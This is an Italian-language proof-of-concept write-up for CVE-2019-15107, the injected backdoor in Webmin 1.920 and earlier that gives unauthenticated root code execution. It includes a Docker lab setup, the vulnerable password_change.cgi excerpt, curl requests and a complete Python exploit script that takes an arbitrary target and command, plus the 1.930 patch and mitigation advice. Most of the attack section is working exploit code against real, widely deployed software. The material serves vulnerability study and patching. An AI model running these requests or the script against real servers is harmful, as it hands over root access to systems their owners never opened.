
Exploit PoC per CVE-2019-15107, una vulnerabilità di esecuzione remota di codice in Webmin 1.920 e versioni precedenti. Include configurazione di laboratorio basata su Docker, script exploit in curl e Python e indicazioni per la mitigazione.
[CVE-2019-15107] è una vulnerabilità in Webmin, uno strumento di amministrazione di sistema basato sul web per sistemi Unix. Si verifica nel codice che gestisce la modifica della password, dove un parametro specifico viene passato direttamente a un comando shell senza filtri, consentendo l'esecuzione di codice arbitrario (Remote Code Execution, RCE).
La vulnerabilità è stata scoperta in password_change.cgi, che modifica le password, quando si utilizza Webmin versione 1.920 o precedenti. È stata introdotta da un codice malevolo iniettato durante la distribuzione di Webmin tramite SourceForge.
Per la riproduzione, utilizziamo la versione 1.910 di Webmin, come in vulhub. Inoltre, la modifica della password è attiva solo quando passwd_mode=2, quindi configuriamo l'ambiente con passwd_mode=2.
Insieme al file di rilascio preparato di Webmin 1.910, webmin_1.910_all.deb, esegui il comando seguente per configurare l'ambiente vulnerabile:
docker compose up -d
I file
Dockerfileedocker-entrypoint.shsono stati riadattati ai file locali facendo riferimento al formato preconfigurato di vulhub.
La modifica della password richiede parametri familiari come user, old, new1, new2. Tra questi, era stato inserito il codice che esegue il valore del parametro old.
Di seguito una parte del file password_change.cgi della versione 1.910. qx/$in{'old'}/ è il codice che esegue il valore di old, come detto sopra. Manipolando quel valore è possibile eseguire codice arbitrario.
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
die "Missing password file configuration";
}
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
La vulnerabilità può essere riprodotta accedendo a password_change.cgi in Webmin e inviando una richiesta manipolando la variabile old.
Sia con curl che con python, è sufficiente inviare una richiesta a password_change.cgi. In tutti e tre gli esempi, l'obiettivo è inserire il comando id in old per stampare l'UID.
curl -k -X POST https://your-ip:10000/password_change.cgi -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
import requests
import sys
import argparse
def exploit_webmin(target, command):
url = f"https://{target}/password_change.cgi"
# Ignora il certificato HTTPS
requests.packages.urllib3.disable_warnings()
# Payload CVE-2019-15107
# Inserisci il comando nel parametro old
data = {
'user': 'rootxx',
'pam': '',
'expired': '2',
'old': command, # comando
'new1': 'test2',
'new2': 'test2'
}
headers = {
'Referer': f'https://{target}/session_login.cgi',
}
try:
response = requests.post(
url,
data=data,
headers=headers,
verify=False,
timeout=5
)
if response.status_code == 200:
print("[+] Exploit inviato!")
print("[+] Risposta:")
print(response.text)
return True
else:
print(f"[-] Codice di stato: {response.status_code}")
return False
except Exception as e:
print(f"[-] Errore: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
parser.add_argument('-t', '--target', required=True, help='IP:porta target (es. 127.0.0.1:10000)')
parser.add_argument('-c', '--command', default='id', help='Comando da eseguire (predefinito: id)')
args = parser.parse_args()
print(f"[*] Sfruttando Webmin su {args.target}")
print(f"[*] Comando: {args.command}")
exploit_webmin(args.target, args.command)
Può essere eseguito come segue:
python3 PoC.py -t your-ip:10000 -c "id"

Con il metodo sopra, inserendo un comando desiderato nel parametro old, il comando viene eseguito direttamente. Dai risultati si può vedere che l'UID è sempre 0, indicando l'esecuzione con privilegi di root.
In altre parole, questa vulnerabilità [CVE-2019-15107] consente di eseguire RCE con privilegi di root.
Inoltre, se si prepara una reverse shell separata, è possibile ottenere l'accesso alla shell del server collegandosi ad essa.
Una volta terminata la riproduzione della vulnerabilità, è possibile arrestare il servizio con il comando seguente:
docker compose down
Il metodo più semplice è aggiornare Webmin.
Questo è il codice modificato nell'aggiornamento alla versione 1.930. La parte che esegue il valore old è stata completamente rimossa.
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
Se la parte di esecuzione del codice è necessaria, si può risolvere inserendo un codice che convalidi l'input old.